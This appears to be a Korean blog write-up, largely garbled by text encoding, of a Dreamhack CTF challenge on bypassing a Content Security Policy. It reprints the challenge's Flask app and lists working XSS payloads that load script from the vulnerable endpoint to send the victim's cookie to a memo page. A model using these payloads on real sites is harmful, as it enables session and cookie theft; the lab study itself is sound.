๐๏ธ Access
Exercise: XSS Filtering Bypass์ ํจ์น๋ ๋ฌธ์ ์ด๋ค.
๐พExploit Algorithm & Payload
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
@app.route("/")
def index():
return render_template("index.html", nonce=nonce)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
app.run(host="0.0.0.0", port=8000)
#1
1) '/' ํ์ด์ง
: vuln(xss) page, memo, flag ํ์ด์ง๋ก ์ ์ํ ์ ์๋ค.
2) '/vuln' ํ์ด์ง
: ์ ๋ ฅํ ๊ฐ์ด ํ๋ฉด์ ์ถ๋ ฅ๋๋ค.
: parm์ด๋ผ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ์ด์ฉํ์ฌ /vuln?param=<script>alert(1)</script> ํด๋น ๊ฐ์ ์ ๋ ฅํ์๋๋ ์ ์์ ์ธ script ๋ฐ์์ ํ์ธํ ์ ์๊ณ , ๋ค์๊ณผ ๊ฐ์ ์ด์๋ฅผ ํ์ธํ ์ ์๋ค.
: XSS ๊ณต๊ฒฉ์ ์๋ํ์์ผ๋ CSP(Content Security Policy) ๋ฐฉ์ด ์ ์ฑ ์ ์ํด ๋์ํ์ง ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
3) '/memo' ํ์ด์ง
: ์์ฑํ ๋ฉ๋ชจ๊ฐ ์ถ๋ ฅ๋๋ค.
: memo๋ผ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ์ด์ฉํ์ฌ /memo?memo=hello ํด๋น ๊ฐ์ ์ ๋ ฅํ์๋๋ hello๋ผ๋ ๊ฐ์ ํ์ธํ ์ ์๋ค.
4) '/flag' ํ์ด์ง
: ์ ๋ฌ๋ URL์ ์์ ์ด์ฉ์๊ฐ ์ ์ํ ์ ์๊ฒ ํ๋ค. ('/flag' ํ์ด์ง๋ฅผ ํ์ฉํ์ฌ ํด๋น ์ด์ฉ์์ ์ฟ ํค์์ flag๋ฅผ ํ๋)
#2
vuln:1 Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-d3ce962dfbb8223ac7119374fd71e621'". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.
: CSP(Content Security Policy)๋ฐฉ์ด ์ ์ฑ ์ด ์ด๋ป๊ฒ ์ ์ฉ๋์ด ์๋์ง ํ์ธํ๋ค.
> script-src 'self' 'nonce-{nonce}’
: ์คํฌ๋ฆฝํธ ํ๊ทธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ๋ฅผ ์ ์ด, ํ์ด์ง์ ํ์ฌ ์ถ์ฒ ๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ง ํ์ฉ, nonce ์์ฑ์ ์ค์ ํ์ฌ ์์ธ์ ์ธ๋ผ์ธ ์ฝ๋ ์ฌ์ฉ
> style-src 'self' 'unsafe-inline’
: ์คํ์ผ ์ํธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ ์ ์ด, ํ์ด์ง์ ํ์ฌ ์ถ์ฒ ๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ง ํ์ฉ, ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ ํ์ฉ
#3
http://host3.dreamhack.games:12735/vuln?param=<script src='/vuln?param=alert(document.cookie)'></script>
: script-src์ nonce ๊ฐ์ ์๋ฉด script๋ฅผ ์์ฑํ์ฌ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์์ผ๋, nonce(์์๋ก ์์ฑ๋๋ ์ํธํ ํ ํฐ)๋ ๊ฐ ์์ธก์ด ํ๋ค์ด ๋ณด์ด๋ฏ๋ก self ์ถ์ฒ๋ฅผ ์๋ฐํ์ง ์๋ ์ ์์ unsafe-inline์ ํ์ฉํ๋ฉด script ๋ฐ์์ ํ์ธํ ์ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
# '+' → %2b๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ์คํฌ๋ฆฝํธ ๋ถ๋ถ์ด ๋ ๋จ๊ณ๋ฅผ ๊ฑฐ์ณ ํ๋ผ๋ฏธํฐ ํด์์ด ๋๊ธฐ ๋๋ฌธ์ URL Decoding๋์ด ๊ณต๋ฐฑ ํด์๋์ง ์๋๋ก ์ฌ์ฉํจ
<script src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie"></script>
# Unicode escape sequence๋ฅผ ์ด์ฉํ xss ์ฐํ ๊ณต๊ฒฉ(CSP Bypass 'unsafe-inline')
<script src="/vuln?param=locatio\u006E.href='/memo?memo='%2bdocument.cookie"></script>
# ๋์๋ฌธ์๋ฅผ ์ด์ฉํ xss ์ฐํ ๊ณต๊ฒฉ(CSP Bypass 'unsafe-inline')
<ScRiPt src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie"></ScRiPt >
...
: ๋ค์ํ ๋ฐฉ๋ฒ์ผ๋ก CSP ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ฉฐ memoํ์ด์ง์์ FLAG๋ฅผ ํ์ธํ ์ ์๋ค.
๐Summary
์ปจํ ์ธ ๋ณด์ ์ ์ฑ (CSP; Content Wecurity Policy)์ XSS ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ํผํด๋ฅผ ์ต์ํํ ์ ์๋ ์ข์ ๋ฐฉ์์ด๋ XSS ๊ณต๊ฒฉ์ ์์ ๋ฌด๋ ฅํ ํ๋ ์๋จ์ ์๋๊ธฐ ๋๋ฌธ์ ์๋ชป ์ฌ์ฉ ๋ฐ ์ฐํ๊ฐ ํ์ฉ๋ ์ ๋ณด์ ํด๊ฒฐ์ฑ ์ผ๋ก์จ ์ญํ ์ด ๋ถ๊ฐํ๊ฒ ๋จ
refer to... : https://csp-evaluator.withgoogle.com
- CSP(Content Security Policy, ์ปจํ ์ธ ๋ณด์ ์ ์ฑ ) ํ์ธ -
์ง์๋ฌธ | ์ค๋ช |
https://*.example.com | ์ถ์ฒ์ ํธ์คํธ ์๋ธ๋๋ฉ์ธ์ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค. (๋จ, ์์ผ๋์นด๋๋ ํธ์คํธ์ ์ค๊ฐ์ ๋ค์ด๊ฐ ์ ์์ต๋๋ค. i.e) https://www..com, https://.example.* |
*://example.com | ์ถ์ฒ์ scheme์ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค. |
https://example.com:* | ์ถ์ฒ์ ํฌํธ๋ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค. |
none | ๋ชจ๋ ์ถ์ฒ๋ฅผ ํ์ฉํ์ง ์์ต๋๋ค. |
self | ํ์ด์ง์ ํ์ฌ ์ถ์ฒ (Origin) ๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ง ํ์ฉํฉ๋๋ค. |
unsafe-inline | ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ์ ํ์ฉํฉ๋๋ค |
unsafe-eval | ์์ธ์ ์ผ๋ก eval๊ณผ ๊ฐ์ ํ ์คํธ-์๋ฐ์คํฌ๋ฆฝํธ ๋ณํ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉ์ ํ์ฉํฉ๋๋ค |
nonce-<base64-value> | nonce ์์ฑ์ ์ค์ ํ์ฌ ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋๋ฅผ ์ฌ์ฉํฉ๋๋ค. <base64-value> ๋ ๋ฐ๋์ ์์ฒญ๋ง๋ค ๋ค๋ฅธ ๋์ ๊ฐ์ผ๋ก ์ค์ ํด์ผ ํฉ๋๋ค. ํด๋น ์ถ์ฒ๋ฅผ ์ค์ ํ๋ฉด unsafe-inline ์ ๋ฌด์๋ฉ๋๋ค. |
<hash-algorithm>-<base64-value> | script ํน์ style ํ๊ทธ ๋ด ์ฝ๋์ ํด์๋ฅผ ํํํฉ๋๋ค. ํด๋น ์ถ์ฒ๋ฅผ ์ค์ ํ๋ฉด unsafe-inline ์ ๋ฌด์๋ฉ๋๋ค. |
... |
์ถ์ฒ | ์ค๋ช |
https://*.example.com | ์ถ์ฒ์ ํธ์คํธ ์๋ธ๋๋ฉ์ธ์ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค. (๋จ, ์์ผ๋์นด๋๋ ํธ์คํธ์ ์ค๊ฐ์ ๋ค์ด๊ฐ ์ ์์ต๋๋ค. i.e) https://www.*.com, https://*.example.* |
*://example.com | ์ถ์ฒ์ scheme์ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค. |
https://example.com:* | ์ถ์ฒ์ ํฌํธ๋ ์์ผ๋์นด๋๋ฅผ ์ด์ฉํด ํํํ ์ ์์ต๋๋ค. |
none | ๋ชจ๋ ์ถ์ฒ๋ฅผ ํ์ฉํ์ง ์์ต๋๋ค. |
self | ํ์ด์ง์ ํ์ฌ ์ถ์ฒ (Origin) ๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ง ํ์ฉํฉ๋๋ค. |
unsafe-inline | ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ์ ํ์ฉํฉ๋๋ค |
unsafe-eval | ์์ธ์ ์ผ๋ก eval๊ณผ ๊ฐ์ ํ ์คํธ-์๋ฐ์คํฌ๋ฆฝํธ ๋ณํ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉ์ ํ์ฉํฉ๋๋ค |
nonce-<base64-value> | nonce ์์ฑ์ ์ค์ ํ์ฌ ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋๋ฅผ ์ฌ์ฉํฉ๋๋ค. <base64-value> ๋ ๋ฐ๋์ ์์ฒญ๋ง๋ค ๋ค๋ฅธ ๋์ ๊ฐ์ผ๋ก ์ค์ ํด์ผ ํฉ๋๋ค. ํด๋น ์ถ์ฒ๋ฅผ ์ค์ ํ๋ฉด unsafe-inline ์ ๋ฌด์๋ฉ๋๋ค. |
<hash-algorithm>-<base64-value> | script ํน์ style ํ๊ทธ ๋ด ์ฝ๋์ ํด์๋ฅผ ํํํฉ๋๋ค. ํด๋น ์ถ์ฒ๋ฅผ ์ค์ ํ๋ฉด unsafe-inline ์ ๋ฌด์๋ฉ๋๋ค. |
... |
'[Dreamhack]WebHacking > ๋ก๋๋งต_ClientSide' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level3: CSP Bypass Advanced (0) | 2024.01.17 |
---|---|
[Dreamhack] Level3: XSS Filtering Bypass Advanced (0) | 2023.09.02 |
[Dreamhack] Level1: XSS Filtering Bypass (0) | 2023.08.28 |